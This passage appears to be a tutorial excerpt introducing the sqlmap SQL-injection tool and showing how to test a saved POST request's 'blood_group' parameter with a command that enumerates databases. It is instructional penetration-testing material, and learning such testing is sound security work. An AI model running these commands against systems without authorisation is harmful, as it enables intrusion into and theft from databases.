SQLMap is an open source penetration testing tool developed by Bernardo Damele Assumpcao Guimaraes and Miroslav Stampar that automates the process of detecting and exploiting SQL injection flaws and taking over database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches lasting from database fingerprinting, fetching data from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Here we have used two flags: -u to state the vulnerable URL and --dbs to enumerate the database.
Simple HTTP POST Based Test
First, we need to identify the vulnerable POST request and save it. In order to save the request, Right Click on the request, select 'Copy to file', and save it to a directory. You could also copy the whole request and save it to a text file as well.
You’ll notice in the request above, we have a POST parameter 'blood_group' which could a vulnerable parameter.
Now that we’ve identified a potentially vulnerable parameter, let’s jump into the sqlmap and use the following command:
sqlmap -r req.txt -p blood_group --dbs
Here we have used two flags: -r to read the file, -p to supply the vulnerable parameter, and --dbs to enumerate the database.
